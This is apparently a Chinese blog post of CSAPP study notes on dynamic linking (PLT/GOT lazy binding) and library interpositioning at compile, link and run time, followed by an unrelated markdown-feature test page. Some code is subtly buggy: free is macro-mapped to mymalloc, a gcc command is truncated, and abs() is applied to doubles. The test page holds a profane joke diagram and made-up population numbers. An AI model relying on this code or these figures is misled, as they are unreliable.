    1040:	ff 25 da 2f 00 00    	jmp    *0x2fda(%rip)        # 4020 <isPrime@Base>
...

间接跳转

在第一次调用addvec时,GOT[4]=0x4005c60x4005c0的下一条地址

3.pushq $0x1

CSAPP上对这条指令的解释是"把addvec的ID(0x1)压栈"

啥意思呢?

我的理解是,addvec是用户指定调用的第一条库函数(不包括编译器自己写上的动态链接器等隐式调用的函数),因此把1这个魔数压栈,压栈的目的是作为参数,接下来就要调用动态链接器了,因此传递1作为参数,告诉动态链接器应该动态链接的是用户调用的第一个库函数addvec

4.pushq *GOT[1]

GOT[1]存放的是.reloc节的首地址

联系刚才的push $0x1,可以猜测,.reloc是一个表,每一个表项对应一个需要重定位的库函数,其中第一条就是addvec的表项,然后动态链接器要用这个0x1去查.reloc

5.jmpq *GOT[2]

GOT[2]存放的是动态链接器的地址,

jmpq GOT[2]会跳转到GOT[2],啥也不会发生

jmpq *GOT[2]会跳转到GOT[2]的内容,也就是动态链接器的地址

为啥不用call指令调用,却用jmpq直接跳转到函数的开始呢?

call指令需要将跳转前的下一条指令压栈作为返回地址,返回地址将会覆盖栈顶上用于动态链接器的参数.

jmpq直接跳转到动态链接器,栈顶此时就是他要使用的参数

6.动态链接器会确定.reloc表中第一个库函数即addvec的运行时地址,然后用该地址改写GOT[4]

具体怎么查的addvec运行时地址,怎么改写的GOT[4],那是后话了,现在当成黑盒子用

7.动态链接器将控制交给addvec,此时才开始真正执行call addvec

第二次调用addvec

由于第一次调用addvec时,动态链接器已经将GOT[4]改写为正确的addvec运行时地址,现在调用就不会在请动态链接器出马了

jmpq *GOT[4]之后就跳转到了addvec的首地址

这里不用call的原因是,这里就是想把控制交给addvec,不需要记录PLT表中的返回地址

在主函数调用addvec时已经call addvec

这有点类似于记忆化搜索

记忆数组对应GOT表

搜索函数对应动态链接器

第一次搜索前记忆数组都是空的,对应GOT表返回地址不正确

搜索到之后搜素函数会改写记忆数组相应元素,对应动态链接器会修改GOT表项为函数运行时地址

第二次搜索时如果记忆数组不为空则直接使用数组内容,不调用搜索函数,对应第二次调用函数时直接根据GOT表跳转

库打桩

打桩:打桩,指把桩打进地里,使建筑物基础坚固。--百度百科

很纳闷为什么library interpositioning要翻译成打桩

library interpositioning 库 插入

就是程序本来应该调用一个库函数却被劫持调用一个包装函数或者其他逻辑的函数.甚至不如叫"库劫持"更直观

预编译时打桩

使用宏定义劫持库函数

main.c
1
2
3
4
5
6
7
#include <stdio.h>
#include <malloc.h> //此处的<malloc.h>不一定就是glibc中的头文件,有可能是劫持使用的"malloc.h"
int main(){
int *p=malloc(510);
free(p);
return 0;
}

如果只是有这么一个main.c文件, 用gcc main.c -o main命令,编译链接之后所有都按部就班地发生,真正调用glibc库的malloc函数申请堆内存

下面给他劫持喽

malloc.h

注意本头文件和库函数malloc声明所在的头文件malloc.h同名

1
2
3
4
5
6
7
8
#ifndef MYMALLOC
#define MYMALLOC
#define malloc(size) mymalloc(size) //宏定义劫持库函数
#define free(ptr) mymalloc(ptr)

void *mymalloc(size_t); //声明函数接口
void myfree(void*);
#endif
mymalloc.c
1
2
3
4
5
6
7
8
9
10
#include "malloc.h"				
#include <stdio.h>

void *mymalloc(size_t){ //mymalloc的实现
printf("malloc啥也不干");
return NULL;
}
void myfree(void*){
printf("free啥也不干");
}
命令:
1
2
3
4
5
gcc -c mymalloc.c

gcc -I. -o main main.c mymalloc.c

./main

gcc搜索头文件的规则

当#include <headerfile.h> 时,编译时按照"编译命令指定目录--->系统预设目录--->编译器预设"的顺序搜索头文件。

当#include "headerfile.h",编译时按照"源文件当前目录--->编译命令指定目录--->系统预设目录--->编译器预设"的顺序搜索头文件。

我们在使用glibc库函数时一般使用<malloc.h>,在不加编译命令时,编译器根本不会在当前工作目录下搜索这种尖括号头文件

而我们现在就想给他劫持到搜索当前工作目录,这就是编译时打桩

怎么实现这个头文件劫持呢?编译时加入-I选项,意思是告诉编译器,在搜索系统预设目录前,先按照编译命令指定目录(-I.这里的点号.就是当前目录)搜索头文件.

当前文件夹下恰好有我们自己写的同名头文件malloc.h,只要能找到,编译器就不会再在其他目录找这个头文件

然后在链接时需要给出我们自己写的malloc.h中的两个函数引用mymallocmyfree,这就是mymalloc.c要做的事情了

运行结果:

1
malloc啥也不干malloc啥也不干

实际上glibc中的malloc从未被调用过

总结预编译时打桩的步骤:

1.修改库函数头文件搜索位置

2.链接新的实现

但是吧,PWN的题目都是给出一个已经编译链接完成的可执行目标文件.谁会让你在预编译阶段做手脚呢?

只能说,没用的知识又怎加了

链接时打桩

main.c
1
2
3
4
5
6
7
8
#include <stdio.h>
#include <malloc.h>

int main(){
int *p=malloc(510);
free(p);
return 0;
}

此时main.c看起来还是非常正常的,使用gcc main.c -o main可以编译链接得到一个正儿八经的程序

下面用链接时打桩给他劫持喽

mymalloc.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>

void *__real_malloc(size_t); //对glibc中真·库函数malloc的引用
void *__real_free(void *);

void *__wrap_malloc(size_t size){ //包装函数
void *ptr=__real_malloc(510);//包装函数会调用真函数
printf("in wrapper malloc\n");
return ptr;

}
void *__wrap_free(void *ptr){
__real_free(ptr);
printf("in wrapper free\n");
}

为啥函数名前面要假设__real,__wrap这种前缀?

命令

shellscript.sh

1
2
3
4
5
6
7
gcc -c mymalloc.c		#mymalloc.c编译成可重定位目标文件

gcc -c main.c #main.c编译成可重定位目标文件

gcc -Wl,--wrap,malloc -Wl,--wrap,free -o prog main.o mymalloc.o

./prog
1
-Wl,<options>            Pass comma-separated <options> on to the linker.

comma-separated 用逗号分开的

给链接器传递用逗号分开的<选项>

--wrap,malloc的作用是,链接器将malloc这个符号解析为__wrap_malloc这个符号,并且将__real_malloc这个符号解析为malloc

那么在main.c中调用malloc时会被链接器重定位到__wrap_malloc的定义,

真正的glibc库中的malloc需要使用__real_malloc调用

运行结果:

1
2
3
4
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/link]
└─# ./shellscript.sh
in wrapper malloc
in wrapper free

同样的道理,CTF题也不会让在链接阶段办手续,又是没用的知识

运行时打桩

运行时加载链接共享库

Linux系统为动态链接器提供的系统调用:]

dlopen
1
2
#include <dlfcn.h>
void *dlopen(const char *filename,int flag);//成功则返回指向句柄的指针,一个代表共享库的句柄handle

加载链接共享库filename

flag参数值含义:

RTLD_GLOBAL用其他用该选项打开的库解析filename库中的外部符号

RTLD_NOW,链接器立刻解析外部符号引用

RTLD_LAZY,链接器不得不解析外部符号时才进行解析

dlsym
1
2
#include <dlfcn.h>
void *dlsym(void *handle,char *symbol);

handledlopen的返回值,即指向共享库句柄的指针

symbol是handle指向的共享库中的符号,比如一个全局变量或者一个符号

如果存在则返回该symbol的地址,否则返回NULL

dlclose
1
2
#include <dlfcn.h>
int dlclose(void *handle);

卸载handle指向的共享库

dlerror
1
2
#include <dlfcn.h>
const char *dlerror(void);

返回字符串,内容是最近调用前面三个函数时发生的错误,如果妹有错误则返回NULL

举个例子

由于gcc会隐式加载链接glibc.so库,我们需要自己写一个动态库,比如geometry

geometry.h

1
2
3
4
5
6
7
8
9
10
11
12
#ifndef GEOMETRY
#define GEOMETRY

typedef struct{
double x;
double y;
}Point;
double getEuclideanDistance(Point,Point); //计算两点之间的欧几里得距离
double getManhattanDistance(Point,Point); //计算两点之间的曼哈顿距离
Point newPoint(double,double); //构造新点
void showPoint(Point); //打印点坐标
#endif

geometry.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
#include "geometry.h"
static const double PI=3.1415926;
double getEuclideanDistance(Point a,Point b){
return sqrt((a.x-b.x)*(a.x-b.x)+(a.y-b.y)*(a.y-b.y));
}
double getManhattanDistance(Point a,Point b){
return abs(a.x-b.x)+abs(a.y-b.y);
}
Point newPoint(double x,double y){
Point a;
a.x=x;
a.y=y;
return a;
}
void showPoint(Point p){
printf("(%.2f,%.2f)",p.x,p.y);
}

编译成动态库libgeometry.so

1
gcc -shared -fpic -o libgeometry.so geometry.

main.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>
#include <dlfcn.h>
#include <stdlib.h>
#include "geometry.h" //引入该头文件的主要作用是,获得Point结构体的定义

int main(){
void *handle=dlopen("./libgeometry.so",RTLD_LAZY);
if(!handle){
fprintf(stderr,"%s\n",dlerror());
exit(1);
}

Point (*newPoint)(double,double)=dlsym(handle,"newPoint");//函数指针指向handle库中"newPoint"符号
void (*showPoint)(Point)=dlsym(handle,"showPoint");

if(!newPoint||!showPoint){ //检查newPoint和showPoint是否真的获得了地址
fprintf(stderr,"%s\n",dlerror());
exit(1);
}


Point p=newPoint(1.2,3.4);
showPoint(p);


if(dlclose(handle)<0){ //卸载动态库
fprintf(stderr,"%s\n",dlerror());
exit(1);
}

return 0;
}
1
Point (*newPoint)(double,double);

声明一个返回值为Point类型,双参数都是double类型的函数指针

编译命令:

1
2
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/runtimelink]
└─# gcc -rdynamic -o prog main.c -ldl

-rdynamic 却是一个 连接选项 ,它将指示连接器把所有符号(而不仅仅只是程序已使用到的外部符号)都添加到动态符号表(即.dynsym表)里,以便那些通过 dlopen()backtrace() (这一系列函数使用.dynsym表内符号)这样的函数使用。

添加-rdynamic选项后,.dynsym表就包含了所有的符号,不仅是已使用到的外部动态符号,还包括本程序内定义的符号,比如bar、foo、baz等。

参考博客gcc或g++的编译选项 -shared -fPIC 与 -g -rdynamic 部分转载_字正腔圆的博客-CSDN博客_rdynamic

-ldl的作用是链接dlfcn库,是我们能够使用dlopen这种函数

运行结果

1
2
3
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/runtimelink]
└─# ./prog
(1.20,3.40)
运行时打桩

运行时打桩的思想是,自己写一个家的malloc函数,该函数使用dlopen等函数在运行时加载glibc

奇怪,我按照CSAPP的说法做的实验,结果会报告段错误,留作后话吧

markdown花里狐笑功能

看看这个博客主题是否支持呢

以这种方式添加自己的HTML页面,markdown花里狐笑功能,是可以的

typora首先导出HTML文件然后放在source/HTML里面,缺点是在博客主页找不到,只能输入URL.

优点是typora有多聪明,这个HTML页面就有多聪明

HTML elem

一个长得像键盘一样的东西


水平线

居中

引用

code block

强调

g飞过来飞过去

测试下标下标测试上标上标

下划线

变量

First name:
Last name:

输入控件

图像

图像

听歌

标记

块引用

比萨斜塔

sequence

1
2
3
4
5
6
7
8
9
10
11
12
13
title:三次握手和四次挥手
participant deutschball as d
participant schwertlilien as s
d-->s:you fooooooooool.
s-->d:you stupppppppid.
d-->s:roger that.
note over d,s:connection initialized
note over d,s:exchanging information...
note over d,s:connection lost
d-->s: fuck you!
s-->d: roger that
s-->d: fuck you!do you copy?
d-->s: roger that

flow

1
2
3
4
5
6
7
st=>start: Start
op=>operation: Your Operation
cond=>condition: Yes or No?
e=>end
st->op->cond
cond(yes)->e
cond(no)->op

mermaid

pie

1
2
3
4
5
pie
title 世界人口
"俄国人" : 15
"美国人" : 20
"中国人" : 500

graph

1
2
3
4
5
6
graph TB
A[Start] --> B{Is it?};
B -- Yes --> C[OK];
C --> D[Rethink];
D --> B;
B -- No ----> E[End];